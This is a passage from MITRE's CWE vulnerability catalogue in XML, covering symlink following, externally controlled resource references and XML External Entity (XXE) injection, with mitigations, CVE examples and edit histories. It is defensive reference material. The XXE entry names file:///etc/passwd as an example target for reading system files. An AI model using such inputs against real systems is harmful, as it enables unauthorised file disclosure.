               <Modification_Comment>updated Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-12-13</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Double Checked Locking</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="61" Name="UNIX Symbolic Link (Symlink) Following" Abstraction="Compound" Structure="Composite" Status="Incomplete">
         <Description>The product, when opening a file or directory, does not sufficiently account for when the file is a symbolic link that resolves to a target outside of the intended control sphere. This could allow an attacker to cause the product to operate on unauthorized files.</Description>
         <Extended_Description>A product that allows UNIX symbolic links (symlink) as part of paths whether in internal code or through user input can allow an attacker to spoof the symbolic link and traverse the file system to unintended locations or access arbitrary files. The symbolic link can permit an attacker to read/write/corrupt a file that they originally did not have permissions to access.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="59" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="Requires" CWE_ID="362" View_ID="1000"/>
            <Related_Weakness Nature="Requires" CWE_ID="340" View_ID="1000"/>
            <Related_Weakness Nature="Requires" CWE_ID="386" View_ID="1000"/>
            <Related_Weakness Nature="Requires" CWE_ID="732" View_ID="1000"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Resultant</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Alternate_Terms>
            <Alternate_Term>
               <Term>Symlink following</Term>
            </Alternate_Term>
            <Alternate_Term>
               <Term>symlink vulnerability</Term>
            </Alternate_Term>
         </Alternate_Terms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>These are typically reported for temporary files or privileged programs.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>High</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Scope>Integrity</Scope>
               <Impact>Read Files or Directories</Impact>
               <Impact>Modify Files or Directories</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Symbolic link attacks often occur when a program creates a tmp directory that stores files/links. Access to the directory should be restricted to the program as to prevent attackers from manipulating the files.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-48.1">
               <Phase>Architecture and Design</Phase>
               <Strategy>Separation of Privilege</Strategy>
               <Description>
                  <xhtml:p>Follow the principle of least privilege when assigning access rights to entities in a software system.</xhtml:p>
                  <xhtml:p>Denying access to a file can prevent an attacker from replacing that file with a link to a sensitive file. Ensure good compartmentalization in the system to provide protected areas that can be trusted.</xhtml:p>
               </Description>
            </Mitigation>
         </Potential_Mitigations>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-1999-1386</Reference>
               <Description>Some versions of Perl follow symbolic links when running with the -e option, which allows local users to overwrite arbitrary files via a symlink attack.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-1999-1386</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2000-1178</Reference>
               <Description>Text editor follows symbolic links when creating a rescue copy during an abnormal exit, which allows local users to overwrite the files of other users.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2000-1178</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-0217</Reference>
               <Description>Antivirus update allows local users to create or append to arbitrary files via a symlink attack on a logfile.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-0217</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2003-0517</Reference>
               <Description>Symlink attack allows local users to overwrite files.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2003-0517</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-0689</Reference>
               <Description>Possible interesting example</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-0689</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-1879</Reference>
               <Description>Second-order symlink vulnerabilities</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-1879</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-1880</Reference>
               <Description>Second-order symlink vulnerabilities</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-1880</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-1916</Reference>
               <Description>Symlink in Python program</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-1916</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2000-0972</Reference>
               <Description>Setuid product allows file reading by replacing a file being edited with a symlink to the targeted file, leaking the result in error messages when parsing fails.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2000-0972</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-0824</Reference>
               <Description>Signal causes a dump that follows symlinks.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-0824</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2015-3629</Reference>
               <Description>A Libcontainer used in Docker Engine allows local users to escape containerization and write to an arbitrary file on the host system via a symlink attack in an image when respawning a container.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2015-3629</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2020-26277</Reference>
               <Description>In a MySQL database deployment tool, users may craft a maliciously packaged tarball that contains symlinks to files external to the target and once unpacked, will execute.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2020-26277</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2021-21272</Reference>
               <Description>"Zip Slip" vulnerability in Go-based Open Container Initiative (OCI) registries product allows writing arbitrary files outside intended directory via symbolic links or hard links in a gzipped tarball.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2021-21272</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>UNIX symbolic link following</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="27"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-493"/>
            <Reference External_Reference_ID="REF-494"/>
            <Reference External_Reference_ID="REF-62" Section="Chapter 9, &#34;Symbolic Link Attacks&#34;, Page 518"/>
         </References>
         <Notes>
            <Note Type="Research Gap">
               <xhtml:p>Symlink vulnerabilities are regularly found in C and shell programs, but all programming languages can have this problem. Even shell programs are probably under-reported.</xhtml:p>
               <xhtml:p>"Second-order symlink vulnerabilities" may exist in programs that invoke other programs that follow symlinks. They are rarely reported but are likely to be fairly common when process invocation is used [REF-493].</xhtml:p>
            </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Observed_Example, Other_Notes, Research_Gaps, Taxonomy_Mappings, Weakness_Ordinalities</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Observed_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Observed_Examples, References</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-06-23</Modification_Date>
               <Modification_Comment>updated Modes_of_Introduction, Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Causal_Nature, Likelihood_of_Exploit, References, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-04-28</Modification_Date>
					<Modification_Comment>updated Research_Gaps</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Observed_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="610" Name="Externally Controlled Reference to a Resource in Another Sphere" Abstraction="Class" Structure="Simple" Status="Draft">
         <Description>The product uses an externally controlled name or reference that resolves to a resource that is outside of the intended control sphere.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="664" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
               <Note>COMMISSION: This weakness refers to an incorrect design related to an architectural security tactic.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Scope>Integrity</Scope>
               <Impact>Read Application Data</Impact>
               <Impact>Modify Application Data</Impact>
            </Consequence>
         </Common_Consequences>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="219"/>
         </Related_Attack_Patterns>
         <Notes>
            <Note Type="Relationship">This is a general class of weakness, but most research is focused on more specialized cases, such as path traversal (CWE-22) and symlink following (CWE-61). A symbolic link has a name; in general, it appears like any other file in the file system. However, the link includes a reference to another file, often in another directory - perhaps in another sphere of control. Many common library functions that accept filenames will "follow" a symbolic link and use the link's target instead.</Note>
            <Note Type="Maintenance">The relationship between CWE-99 and CWE-610 needs further investigation and clarification. They might be duplicates. CWE-99 "Resource Injection," as originally defined in Seven Pernicious Kingdoms taxonomy, emphasizes the "identifier used to access a system resource" such as a file name or port number, yet it explicitly states that the "resource injection" term does not apply to "path manipulation," which effectively identifies the path at which a resource can be found and could be considered to be one aspect of a resource identifier. Also, CWE-610 effectively covers any type of resource, whether that resource is at the system layer, the application layer, or the code layer.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>Anonymous Tool Vendor (under NDA)</Submission_Name>
               <Submission_Date>2007-05-07</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Other_Notes, Relationship_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-04-05</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-02-21</Modification_Date>
               <Modification_Comment>updated Maintenance_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2015-12-07</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-01-19</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Modes_of_Introduction, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-04-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Externally Controlled Reference to an Internal Resource</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="611" Name="Improper Restriction of XML External Entity Reference" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>The product processes an XML document that can contain XML entities with URIs that resolve to documents outside of the intended sphere of control, causing the product to embed incorrect documents into its output.</Description>
         <Extended_Description>
            <xhtml:p>XML documents optionally contain a Document Type Definition (DTD), which, among other features, enables the definition of XML entities. It is possible to define an entity by providing a substitution string in the form of a URI. The XML parser can access the contents of this URI and embed these contents back into the XML document for further processing.</xhtml:p>
            <xhtml:p>By submitting an XML file that defines an external entity with a file:// URI, an attacker can cause the processing application to read the contents of a local file. For example, a URI such as "file:///c:/winnt/win.ini" designates (in Windows) the file C:\Winnt\win.ini, or file:///etc/passwd designates the password file in Unix-based systems. Using URIs with other schemes such as http://, the attacker can force the application to make outgoing requests to servers that the attacker cannot reach directly, which can be used to bypass firewall restrictions or hide the source of attacks such as port scanning.</xhtml:p>
            <xhtml:p>Once the content of the URI is read, it is fed back into the application that is processing the XML. This application may echo back the data (e.g. in an error message), thereby exposing the file contents.</xhtml:p>
         </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="610" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="610" View_ID="1003" Ordinal="Primary"/>
            <Related_Weakness Nature="PeerOf" CWE_ID="441" View_ID="1000"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Name="XML" Prevalence="Undetermined"/>
            <Technology Class="Web Based" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Alternate_Terms>
            <Alternate_Term>
               <Term>XXE</Term>
               <Description>An acronym used for the term "XML eXternal Entities"</Description>
            </Alternate_Term>
         </Alternate_Terms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>REALIZATION: This weakness is caused during implementation of an architectural security tactic.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Impact>Read Application Data</Impact>
               <Impact>Read Files or Directories</Impact>
               <Note>If the attacker is able to include a crafted DTD and a default entity resolver is enabled, the attacker may be able to access arbitrary files on the system.</Note>
            </Consequence>
            <Consequence>
               <Scope>Integrity</Scope>
               <Impact>Bypass Protection Mechanism</Impact>
               <Note>The DTD may include arbitrary HTTP requests that the server may execute. This could lead to other attacks leveraging the server's trust relationship with other entities.</Note>
            </Consequence>
            <Consequence>
               <Scope>Availability</Scope>
               <Impact>DoS: Resource Consumption (CPU)</Impact>
               <Impact>DoS: Resource Consumption (Memory)</Impact>
               <Note>The product could consume excessive CPU cycles or memory using a URI that points to a large file, or a device that always returns data such as /dev/random. Alternately, the URI could reference a file that contains many nested or recursive entity references to further slow down parsing.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Phase>System Configuration</Phase>
               <Description>Many XML parsers and validators can be configured to disable external entity expansion.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2005-1306</Reference>
               <Description>A browser control can allow remote attackers to determine the existence of files via Javascript containing XML script.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-1306</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2012-5656</Reference>
               <Description>XXE during SVG image conversion</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2012-5656</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2012-2239</Reference>
               <Description>XXE in PHP application allows reading the application's configuration file.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2012-2239</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2012-3489</Reference>
               <Description>XXE in database server</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2012-3489</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2012-4399</Reference>
               <Description>XXE in rapid web application development framework allows reading arbitrary files.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2012-4399</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2012-3363</Reference>
               <Description>XXE via XML-RPC request.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2012-3363</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2012-0037</Reference>
               <Description>XXE in office document product using RDF.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2012-0037</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2011-4107</Reference>
               <Description>XXE in web-based administration tool for database.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2011-4107</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2010-3322</Reference>
               <Description>XXE in product that performs large-scale data analysis.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2010-3322</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-1699</Reference>
               <Description>XXE in XSL stylesheet functionality in a common library used by some web browsers.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-1699</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="WASC">
               <Entry_ID>43</Entry_ID>
               <Entry_Name>XML External Entities</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP24</Entry_ID>
               <Entry_Name>Tainted input to command</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="221"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-496"/>
            <Reference External_Reference_ID="REF-497"/>
            <Reference External_Reference_ID="REF-498"/>
            <Reference External_Reference_ID="REF-499"/>
            <Reference External_Reference_ID="REF-500"/>
            <Reference External_Reference_ID="REF-501"/>
         </References>
         <Notes>
            <Note Type="Relationship">CWE-918 (SSRF) and CWE-611 (XXE) are closely related, because they both involve web-related technologies and can launch outbound requests to unexpected destinations. However, XXE can be performed client-side, or in other contexts in which the software is not acting directly as a server, so the "Server" portion of the SSRF acronym does not necessarily apply.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>Anonymous Tool Vendor (under NDA)</Submission_Name>
               <Submission_Date>2007-05-07</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Description, Relationships, Observed_Example, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-09-27</Modification_Date>
               <Modification_Comment>updated Background_Details, Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-02-21</Modification_Date>
               <Modification_Comment>updated Alternate_Terms, Applicable_Platforms, Background_Details, Common_Consequences, Description, Name, Observed_Examples, Potential_Mitigations, References, Relationship_Notes, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2015-12-07</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Modes_of_Introduction, References, Relationships, Relevant_Properties</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2018-03-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Name, Type</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-09-19</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-12-10</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-07-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
